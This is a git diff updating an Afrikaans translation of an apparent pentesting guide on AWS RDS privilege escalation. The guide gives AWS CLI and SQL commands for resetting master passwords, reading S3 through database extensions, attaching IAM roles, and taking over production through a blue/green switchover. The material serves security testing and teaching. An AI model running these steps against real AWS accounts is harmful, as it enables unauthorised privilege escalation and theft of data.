diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md index cbaa691ea..55cf2ba8b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -4,7 +4,7 @@ ## RDS - Relasionele Databasisdiens -For more information about RDS check: +Vir meer inligting oor RDS kyk: {{#ref}} ../../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -Met daardie toestemming kan 'n attacker **die wagwoord van die hoofgebruiker wysig**, en die login binne die databasis: +Met daardie toestemming kan 'n aanvaller **die wagwoord van die master user wysig**, en die login binne die databasis: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -27,30 +27,30 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Jy sal in staat moet wees om die **databasis te bereik** (dit is gewoonlik slegs van binne netwerke bereikbaar). +> Jy sal in staat moet wees om die **databasis te kontak** (hulle is gewoonlik net toeganklik vanaf binne netwerke). -**Potensiële impak:** Vind sensitiewe inligting in die databasisse. +**Potensiële impak:** Vind sensitiewe inligting binne die databasisse. ### rds-db:connect -Volgens die [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) kan 'n gebruiker met hierdie toestemming aan die DB-instantie koppel. +Volgens die [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) kan 'n gebruiker met hierdie toestemming met die DB-instantie verbind. -### Misbruik RDS-rol IAM-toestemmings +### Misbruik RDS Role IAM permissies #### Postgresql (Aurora) > [!TIP] -> As jy **`SELECT datname FROM pg_database;`** uitvoer en jy vind 'n databasis genaamd **`rdsadmin`**, weet jy dat jy binne 'n **AWS postgresql databasis** is. +> As jy **`SELECT datname FROM pg_database;`** uitvoer en 'n databasis met die naam **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS postgresql database** is. -Eerstens kan jy nagaan of hierdie databasis gebruik is om toegang tot enige ander AWS-diens te kry. Jy kan dit nagaan deur na die geïnstalleerde uitbreidings te kyk: +Eerstens kan jy nagaan of hierdie databasis gebruik is om toegang tot enige ander AWS diens te kry. Jy kan dit kontroleer deur na die geïnstalleerde uitbreidings te kyk: ```sql SELECT * FROM pg_extension; ``` -As jy iets soos **`aws_s3`** vind kan jy aanvaar dat hierdie databasis **'n soort toegang tot S3 het** (daar is ander uitbreidings soos **`aws_ml`** en **`aws_lambda`**). +As jy iets soos **`aws_s3`** vind, kan jy aanvaar dat hierdie databasis **'n soort toegang tot S3 het** (daar is ander uitbreidings soos **`aws_ml`** en **`aws_lambda`**). -Indien jy ook permissies het om **`aws rds describe-db-clusters`** uit te voer, kan jy sien of die **cluster enige IAM Role aangeheg het** in die veld **`AssociatedRoles`**. As daar is, kan jy aanvaar dat die databasis **voorberei was om ander AWS-dienste te gebruik**. Gebaseer op die **naam van die role** (of as jy die **permissies** van die role kan kry) kan jy **raai** watter ekstra toegang die databasis het. +Ook, as jy toestemming het om **`aws rds describe-db-clusters`** uit te voer, kan jy daar sien of die **cluster enige IAM Role aangeheg het** in die veld **`AssociatedRoles`**. As daar enige is, kan jy aanvaar dat die databasis **voorberei is om toegang tot ander AWS-dienste te hê**. Gebaseer op die **naam van die role** (of as jy die **permissions** van die role kan kry) kan jy **raai** watter ekstra toegang die databasis het. -Nou, om **'n lêer binne 'n bucket te lees** moet jy die volle pad weet. Jy kan dit lees met: +Nou, om **read a file inside a bucket** te lees moet jy die volle pad weet. Jy kan dit lees met: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **het nie nodig om enige parameter-groep veranderlike te verander** om toegang tot S3 te kry. +> Postgresql **hoef nie enige parameter group variable te verander nie** om toegang tot S3 te kry. #### Mysql (Aurora) > [!TIP] -> Binnen 'n mysql, as jy die query **`SELECT User, Host FROM mysql.user;`** uitvoer en daar is 'n gebruiker genaamd **`rdsadmin`**, kan jy aanvaar dat jy binne 'n **AWS RDS mysql db** is. +> Binne 'n mysql, as jy die query **`SELECT User, Host FROM mysql.user;`** uitvoer en daar is 'n gebruiker genaamd **`rdsadmin`**, kan jy aanvaar dat jy binne 'n **AWS RDS mysql db** is. -Binne die mysql voer **`show variables;`** uit en as veranderlikes soos **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** waardes het, kan jy aanvaar dat die databasis voorberei is om toegang tot S3-data te kry. +Binne die mysql voer **`show variables;`** uit, en as veranderlikes soos **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, waardes het, kan jy aanvaar dat die databasis voorberei is om toegang tot S3-data te kry. -As jy ook toestemming het om **`aws rds describe-db-clusters`** uit te voer, kan jy kyk of die cluster enige **geassosieerde rol** het, wat gewoonlik toegang tot AWS-dienste beteken). +Ook, as jy permissies het om **`aws rds describe-db-clusters`** te voer, kan jy nagaan of die cluster enige **associated role** het, wat gewoonlik toegang tot AWS-dienste beteken). -Nou, om 'n lêer in 'n bucket te lees moet jy die volle pad weet. Jy kan dit lees met: +Nou, om 'n **lêer binne 'n bucket te lees** moet jy die volle pad ken. Jy kan dit lees met: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -100,16 +100,16 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -'n aanvaller met die magtigings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol aan 'n bestaande RDS-instansie toevoeg**. Dit kan die aanvaller in staat stel om **toegang te verkry tot sensitiewe data** of die data binne die instansie te wysig. +'n aanvaller met die toestemmings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS-instansie voeg**. Dit kan die aanvaller **toegang gee tot sensitiewe data** of die data binne die instansie wysig. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instantie.\ -Neem kennis dat sommige DB's addisionele konfigurasies vereis soos Mysql, wat ook die rol ARN in die parameter-groepe moet spesifiseer. +**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie.\ +Let wel dat sommige DBs addisionele konfigurasies benodig, soos Mysql, wat ook vereis dat die role ARN in die parameter groups gespesifiseer word. ### `rds:CreateDBInstance` -Net met hierdie permisie kan 'n aanvaller 'n **nuwe instansie binne 'n cluster** skep wat reeds bestaan en 'n **IAM role** aangeheg het. Hy sal nie daarin slaag om die meestergebruikerswagwoord te verander nie, maar hy kan die nuwe databasisinstansie moontlik aan die internet blootstel: +Slegs met hierdie toestemming kan 'n aanvaller 'n **nuwe instansie binne 'n cluster** skep wat reeds bestaan en waaraan 'n **IAM role** gekoppel is. Hy sal nie die master user password kan verander nie, maar hy kan moontlik die nuwe database-instansie aan die internet blootstel: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: Toets -'n attacker met die permissies `rds:CreateDBInstance` en `iam:PassRole` kan **'n nuwe RDS-instantie skep met 'n gespesifiseerde rol aangeheg**. Die attacker kan dan moontlik **toegang tot sensitiewe data kry** of die data binne die instansie wysig. +'n aanvaller met die permissies `rds:CreateDBInstance` en `iam:PassRole` kan **'n nuwe RDS-instansie skep met 'n gespesifiseerde rol aangeheg**. Die aanvaller kan dan moontlik **gevoelige data benader** of die data binne die instansie wysig. > [!WARNING] -> Sommige vereistes vir die role/instance-profile wat aangeheg word (van [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): -> - Die profiel moet in jou account bestaan. +> - Die profiel moet in jou rekening bestaan. > - Die profiel moet 'n IAM-rol hê wat Amazon EC2 toestemming het om aan te neem. -> - Die instance profile naam en die geassosieerde IAM rol naam moet begin met die voorvoegsel `AWSRDSCustom` . +> - Die instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS instance. +**Potential Impact**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS instance. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -'n aanvaller met die permissies `rds:AddRoleToDBInstance` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS instance voeg**. Dit kan die aanvaller toelaat om **toegang tot sensitiewe data** te kry of die data binne die instance te wysig. +'n Aanvaller met die regte `rds:AddRoleToDBInstance` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS instance voeg**. Dit kan die aanvaller toelaat om **toegang tot sensitiewe data te kry** of die data binne die instance te wysig. > [!WARNING] -> Die DB instance moet hiervoor buite 'n cluster wees +> Die DB instance moet buite 'n cluster wees vir hierdie aksie ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` **Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie. +### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment` + +'n Aanvaller met hierdie toestemmings kan 'n produksiedatabasis (Blue) kloon, 'n IAM-rol met hoë voorregte aan die kloon heg (Green), en dan switchover gebruik om die produksie-omgewing te vervang. Dit stel die aanvaller in staat om die databasis se voorregte te verhoog en ongemagtigde toegang tot ander AWS-bronne te verkry. +```bash +# Create a Green deployment (clone) of the production cluster +aws rds create-blue-green-deployment \ +--blue-green-deployment-name \ +--source + +# Attach a high-privilege IAM role to the Green cluster +aws rds add-role-to-db-cluster \ +--db-cluster-identifier \ +--role-arn + +# Switch the Green environment to Production +aws rds switchover-blue-green-deployment \ +--blue-green-deployment-identifier +``` +**Potensiële impak**: Volledige oorname van die produksiedatabasis-omgewing. Na die oorskakeling werk die databasis met verhoogde bevoegdhede, wat ongemagtigde toegang vanaf binne die databasis tot ander AWS-dienste (bv. S3, Lambda, Secrets Manager) moontlik maak. + {{#include ../../../../banners/hacktricks-training.md}}